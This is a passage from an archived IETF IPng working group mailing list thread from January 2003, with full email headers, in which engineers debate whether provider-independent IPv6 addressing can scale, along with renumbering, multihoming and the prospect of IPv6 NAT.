Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0RGM2LA026050;
	Mon, 27 Jan 2003 08:22:02 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RGLw16026043
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 08:21:58 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0RGM7VL014466
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 08:22:07 -0800 (PST)
Received: from SERVER2000.arneill-py.sacramento.ca.us (adsl-209-233-126-65.dsl.scrm01.pacbell.net [209.233.126.65])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA12469
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 08:22:02 -0800 (PST)
Subject: RE: Enforcing unreachability of site local addresses
Date: Mon, 27 Jan 2003 08:22:01 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Message-ID: <963621801C6D3E4A9CF454A1972AE8F54B6D@server2000.arneill-py.sacramento.ca.us>
X-MS-Has-Attach: 
Content-class: urn:content-classes:message
X-MS-TNEF-Correlator: 
x-mimeole: Produced By Microsoft Exchange V6.5.6803.0
Thread-Topic: Enforcing unreachability of site local addresses
Thread-Index: AcLGEqV5JYT+OkiYT72G0ckYpx8hXwACegbw
From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Margaret Wasserman" <mrw@windriver.com>
Cc: <ipng@sunroof.eng.sun.com>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0RGLx16026044
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Margaret,

>> Michel Py wrote:
>> PI = Does *NOT* scale.

> Margaret Wasserman wrote:
> Starting with this assumption leads us to two bad choices.

I don't agree that we have only two choices. The role of the IETF is not
to pick the least worst among bad solutions but to develop better ones.


> Maybe it is time to question this assumption?

By your own account, we have a scalability issue with PI. See the reply
to Dan I just posted. How do you handle a billion routes? I'm not the
one that came up with this billion figure (although I agree it's a good
ballpark one).

We are not talking about barely providing the same features as IPv4
here. IPv6 does not do a lot better than v4, it will not be successful.
In other words:
- Doing IPv6 NAT vs. IPv4 NAT is not worth a 10 year long v4-to-v6
migration effort.
- Limiting the number of PI prefixes to a few like they are today is not
worth the migration effort either.


> I said what I really meant...
> I think that we should find a way to return to stable,
> globally-routable, provider-independent addresses that are
> allocated to homes & enterprises. Addresses that do not
> change when you change ISPs, and that cannot be changed by
> your ISP. Real PI addresses. Just like the original
> addresses allocated in IPv4.

> Brian Carpenter wrote:
> But the problem remains as hard as it was in 1992. We don't
> know how to aggregate routes for such addresses, and we don't
> know how to scale the routing system without aggregation.
> Solve either of those problems and you're done.

Exactly. Margaret, you are gambling on the fact that we will find a
solution to a problem that we have been working on for the last 11 years
and remains unsolved.
 
PI does not scale. As of today, the closest thing we have is ID/LOC and
aggregating the locators.

Michel.


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 10:52:18 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RIqI16026698;
	Mon, 27 Jan 2003 10:52:18 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0RIqI2h026697;
	Mon, 27 Jan 2003 10:52:18 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RIqE16026690
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 10:52:14 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0RIqNVK011389
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 10:52:23 -0800 (PST)
Received: from roll.mentat.com (mentat.com [192.88.122.129])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA10863
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 10:52:17 -0800 (PST)
Received: from leo.mentat.com (leo [192.88.122.132])
	by roll.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id KAA02642;
	Mon, 27 Jan 2003 10:53:21 -0800 (PST)
Received: from feller.mentat.com (feller [192.88.122.144])
	by leo.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id KAA25845;
	Mon, 27 Jan 2003 10:53:21 -0800 (PST)
Received: (from tim@localhost)
	by feller.mentat.com (8.9.3+Sun/8.9.3) id KAA22925;
	Mon, 27 Jan 2003 10:56:59 -0800 (PST)
Date: Mon, 27 Jan 2003 10:56:59 -0800 (PST)
From: Tim Hartrick <tim@mentat.com>
Message-Id: <200301271856.KAA22925@feller.mentat.com>
To: ipng@sunroof.eng.sun.com, michel@arneill-py.sacramento.ca.us
Subject: RE: Enforcing unreachability of site local addresses
X-Sun-Charset: US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk




Michel,

> 
> > Tim Hartrick wrote:
> > If we are seriously considering doing PI allocations then
> > we should probably start the process of collecting
> > proposals for how to make it scale.
> 
> This is the semantics police speaking:
> PI = Does *NOT* scale.
> 
> Tim, I don't doubt your intentions, but please don't call it scalable
> PI. There is no such thing. Please call it GAPI, GUPI, xxPI but not PI.
>

I don't see how my intentions could be in doubt and implicit in my statement
above was an understanding that, given the current centralized routing
architecture, PI addresses don't scale.  And, I have serious doubts that
they will ever scale.  But, if that is the case and we are going to be
forbidden from seeking other solutions that involve site-local addressing and
renumbering then we have one hell of a pickle here.  In that case NAT
is inevitable because small and medium size enterprises that can't pass them-
selves off as providers will simply refuse to be held hostage by an ISP and
home users will not pay extra for something that should be free.

All these various ***PI addresses that have been referenced recently on this
list have no definition in a draft of RFC so trying to address their
properties for solving the current problem set is fruitless.  In the limit
all of them amounted to being private address space with varying degrees of
potential for collision and varying degrees of routability outside the
organization.


Tim Hartrick
Mentat Inc.
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 10:57:49 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RIvm16026770;
	Mon, 27 Jan 2003 10:57:48 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0RIvmu4026769;
	Mon, 27 Jan 2003 10:57:48 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RIvj16026760
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 10:57:45 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0RIvrVK013194
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 10:57:53 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA23717
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 11:57:46 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id KAA03353;
	Mon, 27 Jan 2003 10:57:44 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id h0RIvU111150;
	Mon, 27 Jan 2003 10:57:30 -0800
X-mProtect: <200301271857> Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (205.226.2.67, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com smtpdnhH7DH; Mon, 27 Jan 2003 10:57:29 PST
Message-ID: <3E35814D.2060501@iprg.nokia.com>
Date: Mon, 27 Jan 2003 10:58:21 -0800
From: "Fred L. Templin" <ftemplin@iprg.nokia.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Michel Py <michel@arneill-py.sacramento.ca.us>
CC: Margaret Wasserman <mrw@windriver.com>, ipng@sunroof.eng.sun.com
Subject: Re: Enforcing unreachability of site local addresses
References: <963621801C6D3E4A9CF454A1972AE8F54B6D@server2000.arneill-py.sacramento.ca.us>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Michel Py wrote:
> Margaret,
> 
> 
>>>Michel Py wrote:
>>>PI = Does *NOT* scale.

Do you base this statement on hard evidence or conventional wisdom?

>>Brian Carpenter wrote:
>>But the problem remains as hard as it was in 1992. We don't
>>know how to aggregate routes for such addresses, and we don't
>>know how to scale the routing system without aggregation.
>>Solve either of those problems and you're done.
> 
> Exactly. Margaret, you are gambling on the fact that we will find a
> solution to a problem that we have been working on for the last 11 years
> and remains unsolved.
>  
> PI does not scale. As of today, the closest thing we have is ID/LOC and
> aggregating the locators.

Your statements seem to be focused on the solutions we have at hand
today along with the unspoken assumptions we have held as truths in
the past. I used to think that carefully-managed hierarchical routing
was the only way to go to achieve scalability, but I am no longer wed
to that assumption. I don't think anyone is "gambling" on new and
different solutions, but I do believe we should keep the door open
to them.

Fred Templin
ftemplin@iprg.nokia.com


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 11:14:13 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RJED16027023;
	Mon, 27 Jan 2003 11:14:13 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0RJEDvA027022;
	Mon, 27 Jan 2003 11:14:13 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RJE916027015
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 11:14:09 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0RJEEVL006855
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 11:14:14 -0800 (PST)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.70.145.30])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id MAA01861;
	Mon, 27 Jan 2003 12:14:08 -0700 (MST)
Received: from mira-sjc5-e.cisco.com (IDENT:mirapoint@mira-sjc5-e.cisco.com [171.71.163.15])
	by sj-msg-core-2.cisco.com (8.12.2/8.12.6) with ESMTP id h0RJDosv029338;
	Mon, 27 Jan 2003 11:13:51 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-e.cisco.com (Mirapoint Messaging Server MOS 3.2.1-GA)
	with ESMTP id AAW17005;
	Mon, 27 Jan 2003 11:13:54 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id LAA02528; Mon, 27 Jan 2003 11:13:54 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15925.34034.121425.300757@thomasm-u1.cisco.com>
Date: Mon, 27 Jan 2003 11:13:54 -0800 (PST)
To: Pekka Savola <pekkas@netcore.fi>
Cc: Margaret Wasserman <mrw@windriver.com>,
   Erik Nordmark <Erik.Nordmark@Sun.COM>, Keith Moore <moore@cs.utk.edu>,
   <alh-ietf@tndh.net>, <ipng@sunroof.eng.sun.com>, <multi6@ops.ietf.org>
Subject: renumbering/multi-addressing [Re: Enforcing unreachability of site
 local addresses] 
In-Reply-To: <Pine.LNX.4.44.0301270816230.11668-100000@netcore.fi>
References: <5.1.0.14.2.20030126070456.03451d80@mail.windriver.com>
	<Pine.LNX.4.44.0301270816230.11668-100000@netcore.fi>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


Pekka, 

It seems to me that you left out the most
nettlesome problem about why people want address
stability: name mappings, both in the form of DNS
and everywhere else you find raw IP addresses
floating around. In many ways, this mimics the Y2K
problem in that it's very hard to gauge _what_
exactly might break until you do a complete
assessment. And the complete assessment is enough
to scare the timid woodland creatures away. 

Until there's a realistic way for people to pull
the lever and make a switch, there's going to be a
lot of back pressure to keep address stablity
regardless of how harmful their means of keeping
stablity is to the net at large.

	    Mike

Pekka Savola writes:
 > Hello,
 > 
 > I added multi6 on Cc: list for this particular piece of the thread.
 > 
 > On Sun, 26 Jan 2003, Margaret Wasserman wrote:
 > [...]
 > > Some folks have argued that easy renumbering would eliminate the need
 > > for enterprises to have provider-independent addressing, but I don't
 > > agree.  Addresses are stored in many places in the network besides
 > > the interfaces of routers and hosts, such as access control lists,
 > > configuration files, .hosts files, DNS configurations, ACL lists, etc.
 > > In many cases, addresses are stored in nodes on other subnets.  So,
 > > being able to renumber the interfaces of hosts and routers on a
 > > particular network or subnet doesn't even solve half of the problem.
 > 
 > There are multiple reasons why people want PI addresses.  Renumbering and
 > multi-addressing has multiple different models.  Some are easy and some
 > are very difficult.  We should develop at least the _easy_ solutions
 > because they are probably useful too.  For now, it's enough to manage the
 > first 80% of the problem.
 > 
 > Consider four reasons why people might want PI, routable addresses:
 > 
 > - "I don't want to be in problems if my ISP goes bankrupt!"
 > ==> multiple addresses are just fine here (deploy them before the ISP 
 > goes down, but use only one set of them etc.)
 > 
 > - "I want to be able to change ISP's at will reasonably easily, to keep an 
 > edge"
 > ==> multiple addresses are fine here too!
 > 
 > - "I want to be able to protect against failures in my link(s) to my ISP 
 > and problems in our router(s)"
 > ==> multiple addresses can deal with that too, with some added glue!
 > 
 > - "I want to be able to protect against failures in my upstream ISP"
 > ==> tough cookie, no solution here!
 > 
 > Get the picture?  Greedy folks want it all, but actually we _can_ provide
 > quite a bit of it already!
 >  
 > > Choices seem to be:
 > > 
 > >          (A) Continue with PA addressing, and accept that enterprises will
 > >                  use IPv6 NAT to get provider-independence.
 > >          (B) Allocate PI addresses, and trust that we can determine a
 > >                  scalable PI routing scheme before we hit route scaling
 > >                  issues in the IPv6 backbone.
 > 
 > I don't comment on these except that you seem to be making some 
 > conclusions I don't agree on.  I don't think PA equals IPv6 NAT, not at 
 > all.  There are solutions there.
 > 
 > -- 
 > Pekka Savola                 "You each name yourselves king, yet the
 > Netcore Oy                    kingdom bleeds."
 > Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings
 > 
 > 
 > --------------------------------------------------------------------
 > IETF IPng Working Group Mailing List
 > IPng Home Page:                      http://playground.sun.com/ipng
 > FTP archive:                      ftp://playground.sun.com/pub/ipng
 > Direct all administrative requests to majordomo@sunroof.eng.sun.com
 > --------------------------------------------------------------------
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 11:40:01 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RJe116027241;
	Mon, 27 Jan 2003 11:40:01 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0RJe1Tb027240;
	Mon, 27 Jan 2003 11:40:01 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RJdv16027233
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 11:39:57 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0RJe6VL015247
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 11:40:06 -0800 (PST)
Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA07344
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 12:40:00 -0700 (MST)
Received: from IDLEWYLDE.windriver.com ([147.11.233.53])
	by mail.wrs.com (8.9.3/8.9.1) with ESMTP id LAA18863;
	Mon, 27 Jan 2003 11:38:51 -0800 (PST)
Message-Id: <5.1.0.14.2.20030127143500.03674810@mail.windriver.com>
X-Sender: mrw@mail.windriver.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Mon, 27 Jan 2003 14:35:43 -0500
To: Brian E Carpenter <brian@hursley.ibm.com>
From: Margaret Wasserman <mrw@windriver.com>
Subject: Re: Enforcing unreachability of site local addresses
Cc: Michel Py <michel@arneill-py.sacramento.ca.us>,
   Tim Hartrick <tim@mentat.com>, ipng@sunroof.eng.sun.com
In-Reply-To: <3E3558B2.6E7A2C02@hursley.ibm.com>
References: <5.1.0.14.2.20030127093010.03628040@mail.windriver.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk



>But the problem remains as hard as it was in 1992. We don't know how
>to aggregate routes for such addresses, and we don't know how to scale
>the routing system without aggregation. Solve either of those
>problems and you're done.

Maybe we can't solve this problem....

If not, then we won't have real PI addresses and we will end-up with
NAT (or something very similar) in IPv6.  Do you see some other
possibility?

Margaret



--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 12:25:07 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RKP716027600;
	Mon, 27 Jan 2003 12:25:07 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0RKP7eo027599;
	Mon, 27 Jan 2003 12:25:07 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RKP416027592
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 12:25:04 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0RKPCVK011944
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 12:25:12 -0800 (PST)
Received: from ss10.danlan.com (ss10.danlan.com [199.33.144.62])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA15795
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 13:25:06 -0700 (MST)
Received: (from ddl@localhost)
	by ss10.danlan.com (8.9.3/8.9.3) id PAA09244;
	Mon, 27 Jan 2003 15:25:03 -0500 (EST)
Date: Mon, 27 Jan 2003 15:25:03 -0500 (EST)
From: Dan Lanciani <ipng-incoming@danlan.com>
Message-Id: <200301272025.PAA09244@ss10.danlan.com>
To: ipng@sunroof.eng.sun.com
Subject: RE: Enforcing unreachability of site local addresses
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

"Michel Py" <michel@arneill-py.sacramento.ca.us> wrote:

|>> Michel Py wrote:
|>> PI = Does *NOT* scale.
|
|> Dan Lanciani wrote:
|> Please define "PI".
|
|ftp://ftp.ripe.net/ripe/docs/ripe-185.txt

This is a rather long document and I was hoping you would provide the part of
the definition that you are actually using.  This document does claim that one
attribute of PI addresses is that they are expensive to route.  If you are
relying on this as part of the definition then yes, your statement is a truism.
The trouble is that this document makes the same implicit assumptions that you
seem to be making.

|> Please define "scale".
|
|One billion end-sites. This is the baseline number for multihoming
|solutions. Smaller numbers have been deemed insufficient.

Quoting a number does not tell me what you mean by scale.  For example, you
might say that you require the size of the core routing tables to be at worst
O(log) in the number of end sites.  Or you might say that it has to be
O(constant).  I might say that O(linear) is ok.  Then we can talk about the
table growth versus the increases in hardware performance over time.  You
are merely invoking a possible future endpoint that you think will have enough
shock value when compared to current hardware to make your point.

|One billion routes in the global routing table = does not scale.

This is the main fallacy in your statement.  You are assuming that a billion
PI address blocks has to equate to a billion routes in some global routing
table (or even that there has to *be* a global table).  That would be the case
only if we insist on remaining with a full-knowledge centralized routing model.
Such models are outdated.  We can do better.

				Dan Lanciani
				ddl@danlan.*com
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 12:30:29 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RKUT16027655;
	Mon, 27 Jan 2003 12:30:29 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0RKUThd027654;
	Mon, 27 Jan 2003 12:30:29 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RKUP16027647
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 12:30:25 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0RKUYVL001108
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 12:30:34 -0800 (PST)
Received: from consulintel.es (mail.consulintel.es [213.172.48.142])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA20493
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 12:30:28 -0800 (PST)
Received: from consulintel02 ([216.54.161.237])
	by consulintel.es ([127.0.0.1])
	with SMTP (MDaemon.PRO.v6.0.7.R)
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 21:31:27 +0100
Message-ID: <002d01c2c643$0aeae570$a800a8c0@consulintel.es>
Reply-To: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
From: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
To: <ipng@sunroof.eng.sun.com>
Subject: Re: Enforcing unreachability of site local addresses
Date: Mon, 27 Jan 2003 15:30:23 -0500
Organization: Consulintel
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
X-MDRemoteIP: 216.54.161.237
X-Return-Path: jordi.palet@consulintel.es
X-MDaemon-Deliver-To: ipng@sunroof.eng.sun.com
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

I guess my previous message was not sent to the list this morning (the connectivity is terrible here ;-), so I forward it again

> Margaret,
>
> I think we have no other choice than (B), both technically, and from the "marketing" perspective of going or not to deploy IPv6.
>
> I think the scalability could be an issue, but also believe that we have enough time to work on new solutions, new routing
protocols
> (that in the long term will be anyway needed - multihoming), probably, and
> thinks like regional IX's, could help.
>
> Regards,
> Jordi
>
> ----- Original Message -----
> From: "Margaret Wasserman" <mrw@windriver.com>
> To: "Erik Nordmark" <Erik.Nordmark@Sun.COM>
> Cc: "Keith Moore" <moore@cs.utk.edu>; <alh-ietf@tndh.net>; <ipng@sunroof.eng.sun.com>
> Sent: Sunday, January 26, 2003 1:30 PM
> Subject: Re: Enforcing unreachability of site local addresses
>
>
> >
> > >I think, but I'm not sure, that this assumes that we will have a scalable PI
> > >scheme some time in the future (presumably by separating PI identifiers
> > >from PA locators).
> >
> > Actually, this is quite tricky...
> >
> > If we _don't_ allocate PI addresses soon, enterprises will demand
> > IPv6 NAT to allow them to use provider-independent internal numbering.
> > This is the model that they use today, and they will probably continue
> > to use it unless a more compelling model (such as provider-independent
> > globally-routable addressing) is available.
> >
> > But, if we do allocate PI addresses soon, we will need to do that without
> > any certainty that we can come up with a scalable PI routing scheme.  So,
> > we may be creating a serious scaling problem further down the road.  There
> > is no good way to predict when we would hit this scaling problem, as
> > that will depend on many factors including the rate of adoption of IPv6,
> > the number of PI addresses allocated/used, the rate of increase in the
> > speed/memory size of routers.  But, I've been told by ISPs who lived
> > through the CIDR transition in IPv4 that this _really_ isn't something
> > that we want to repeat for IPv6.
> >
> > If/when we do find a solution to the route scaling problem, there is no
> > real assurance that it will be backwards compatible with existing IPv6
> > address allocations.  In fact, it may even require changes to the IPv6
> > protocol.
> >
> > Some folks have argued that easy renumbering would eliminate the need
> > for enterprises to have provider-independent addressing, but I don't
> > agree.  Addresses are stored in many places in the network besides
> > the interfaces of routers and hosts, such as access control lists,
> > configuration files, .hosts files, DNS configurations, ACL lists, etc.
> > In many cases, addresses are stored in nodes on other subnets.  So,
> > being able to renumber the interfaces of hosts and routers on a
> > particular network or subnet doesn't even solve half of the problem.
> >
> > So, what do we do?
> >
> > Choices seem to be:
> >
> >          (A) Continue with PA addressing, and accept that enterprises will
> >                  use IPv6 NAT to get provider-independence.
> >          (B) Allocate PI addresses, and trust that we can determine a
> >                  scalable PI routing scheme before we hit route scaling
> >                  issues in the IPv6 backbone.
> >
> > NAT has huge costs, making the Internet more expensive and less efficient,
> > affecting the resiliency of networks, and limiting our ability to deploy
> > secure, innovative Internet applications and services.  It does solve
> > the route scaling issues, but the cure may be worse than the disease.
> > We may be able to solve the route scaling issues in a less damaging way
> > later, but once folks start deploying IPv6 NAT on a large scale, we
> > will never be able to get rid of it.
> >
> > So, I would make an informed decision to pursue choice (B), in full
> > knowledge that it might create a route scaling issue further down the road.
> > I'm not sure that we'll ever reach anything resembling "IETF consensus" on
> > that choice, though.
> >
> > Margaret
> >
> >
> >
> >
> >
> >
> >
> > At 06:08 AM 1/22/2003 +0100, Erik Nordmark wrote:
> > > > I suspect we all agree that crushing the routing system would be bad .
> > > > It seems like the question is what mechanism (other than ambiguity)
> > > > would be sufficient to prevent that happening.
> > >
> > >Assuming we have the "SHOULD NOT be routed globally" in the spec.
> > >
> > >Then if the PI addresses come from a different space than the PA addresses
> > >I think there is a way out.
> > >When the routing gets strained ISPs can unilaterally decide to filter out
> > >PI routes (or have a different prefix length filter for the PI space
> > >than for the PA space).
> > >
> > >ISPs are unlikely to do this for the PI routes their direct customers are
